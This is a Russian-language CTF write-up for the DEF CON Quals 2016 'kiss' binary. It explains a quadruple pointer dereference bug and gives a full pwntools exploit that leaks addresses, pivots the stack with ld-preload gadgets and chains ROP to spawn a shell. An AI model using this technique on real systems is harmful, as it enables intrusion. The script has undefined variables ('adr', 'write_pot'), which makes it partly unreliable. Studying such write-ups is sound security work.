Лаборатория DEF CON CTF Quals 2016 - kiss [2]

Groke
, 24 мая 2016

Я не помню описания :(

Нам дан бинарный файл. Рассмотрим функцию main(тут мало что видно, можно нажать "открыть изображение", чтобы увидеть в большом разрешении):

Соответственно, что тут происходит: мы читаем число из /dev/urandom и делаем number & 0x7ff. Это количество байт которые будут выделены на куче. После этого нам пишется адрес начала кучи и адрес ImageBase эльфа в памяти. Сам файл скомпилирован с флагом PIE, поэтому местоположение в памяти при каждом запуске разное.

После этого у нас спрашивают сколько байт мы хотим записать и считывают указанное количество байт. Далее мы говорим адрес в пределах [НАЧАЛО КУЧИ, НАЧАЛО КУЧИ+0x1e00]

Смотря на нижеприведенный участок кода можно легко понять что наш адрес трактуется как "указатель на указатель на указатель на указатель" xD и на самый вложенный указатель происходит прыжок:

|           0x00000ac6      488b18         mov rbx, qword [rax] 
|           0x00000ac9      488b0b         mov rcx, qword [rbx]  
|           0x00000acc      488b11         mov rdx, qword [rcx] 
\           0x00000acf      ff22           jmp qword [rdx] 

Поскольку мы знаем адрес начала кучи и максимальный размер буффера выделяемого программой, то если мы передаем 0xa00 байт, то начиная с heapaddr+0x810 всегда будут находиться наши данные (я во время соревнований долго не парился и всегда использовал адрес heapaddr+0x800, но в теории там могут быть не наши данные если будет вызвано что-то типа malloc(0x7ff) )

Таким образом если мы будем передавать в качестве наших данных строку вида:
<heapAddr+0x810><heapAddr+0x818><heapAddr+0x820><ADDRESS>*X + padding
где X = 0x9ff/ 32, a padding = 0x9ff%32), и указывать в качестве адреса все тот же heapAddr+0x800 (есть мнение что любой адрес выше выравненный по 16, но это надо проверять :)), то с большим шансом управление будет передано на ADDRESS

Таким образом мы контролируем RIP, но нам немного мешает то факт, что перед разыменовыванием указателя были обнулены все регистры. В частности, заставляет грустить rsp=0

Необходимых гаджетов, позволяющих установить rsp в контролируемое мною значение в самом бинаре я не нашел. Но получилось отыскать такой в ld-preload:

Кстати тут видно, как круто peda показывает наш четверной указатель(RAX)

Дабы не увеличивать шансы НЕ попасть на наш указатель сначала я передаю ROP chain для считывания второй части, которая уже делает все что мне нужно:

from pwn import *
import struct 


sock = remote("kiss_88581d4e20dc97355f1d86b6905f6103.quals.shallweplayaga.me",3155)

#sock = process("./kiss")

print sock.recvline()
buffaddr =  sock.recvline()
print buffaddr
heapadr = int(buffaddr.split('around ')[-1],16)
cb = sock.recvline()
print cb
codebase = int(cb.split('around ')[-1], 16)
import struct
base =  heapadr+0x800
get_rsp = struct.pack("<Q", codebase - 2156149) #address in ld-preload
pop_rsi = struct.pack("<Q",codebase - 2152565)  #another one in ld-preload
pop_rdi = struct.pack("<Q",codebase + 0xe63)
pop_rdx = struct.pack("<Q",codebase -2245222)   #one more at ld-preload
pop_rax = struct.pack("<Q",codebase - 2178716)  #and again
read_plt = struct.pack("<Q",codebase+0x840)     #read.plt
write_plt = struct.pack("<Q",codebase+0x810)    #write.plt
write_addr = struct.pack("<Q", codebase+0x20180a+0x816) #write.got
read_addr = struct.pack("<Q", codebase+0x2017f2+0x846)  #read.got 
system_add = struct.pack("<Q", codebase-5913293)        #libc in «do_system»
baseaddr = struct.pack("<Q", heapadr)                   
zero = struct.pack("<Q",0)
one = struct.pack("<Q",1)
execve_call = struct.pack("<Q", codebase-5913293+35)    # execve call in «do_system»
eigth = struct.pack("<Q",8)
dvesti = struct.pack("<Q", 0x200)
#address where second ROP chain will be written
stack_ropper = struct.pack("<Q", base+0x70)
buflen = 0x980
rsp_getter=  (struct.pack("<Q", base+8)+struct.pack("<Q", base+16) + struct.pack("<Q", base+24)+get_rsp+zero*3)
#second read_plt will be at address where stack_ropper is point
reader = rsp_getter +pop_rsi+stack_ropper+ pop_rdi + zero+pop_rdx+dvesti+read_plt*3
payload1 = reader*(buflen/128) +"a"*(0x9ff - buflen)
sock.send('a00\n')
print sock.recvuntil("data.\n")
sock.send(payload1+'\n')
print sock.recvuntil("attempt? ")
#used for local testing
#gdb.attach(sock, execute=("b *%s"%(codebase+0xacf) ))
sock.send(hex(adr+0x800)+'\n')
print sock.recvuntil("luck!\n")
print system_add.encode('hex')
#used to determine server libc structure
payload2 = pop_rdx + eigth+pop_rdi+one + pop_rsi + write_addr + write_plt + pop_rsi + read_addr + write_plt + pop_rdx + dvesti +pop_rsi+ system_add + write_plt
#for some reason worked only locally
payload3 = pop_rdx + zero+pop_rax+baseaddr + system_add
#write data for shell spawn
write_data = pop_rdi + zero + pop_rsi + baseaddr + pop_rdx+ dvesti + read_plt
#test if we write correctly
read_data = pop_rdi + one + pop_rsi + baseaddr + pop_rdx + dvesti + write_pot
execve = pop_rdi + baseaddr + pop_rsi + struct.pack("<Q",heapadr+0x100) + pop_rdx+zero + execve_call
payloadz = payload2 + write_data  + execve
sock.send(payloadz+"\x00"*(0x200-len(payloadz)))
######
# READ FOR payload2
#####
data = sock.recv(8)
print data.encode('hex')
data = sock.recv(8)
print data.encode('hex')
data = sock.recv(0x200)
print data.encode('hex')
#data for shell spawn
sock.send("/bin/sh"+"\x00"*(0x100-7)+struct.pack("<Q",heapadr)+zero + "\x00"*(0x100-16))
sock.interactive()
[*] Switching to interactive mode
$ ls
flag
kiss
$ exit

Флаг: Quad derefs are not hard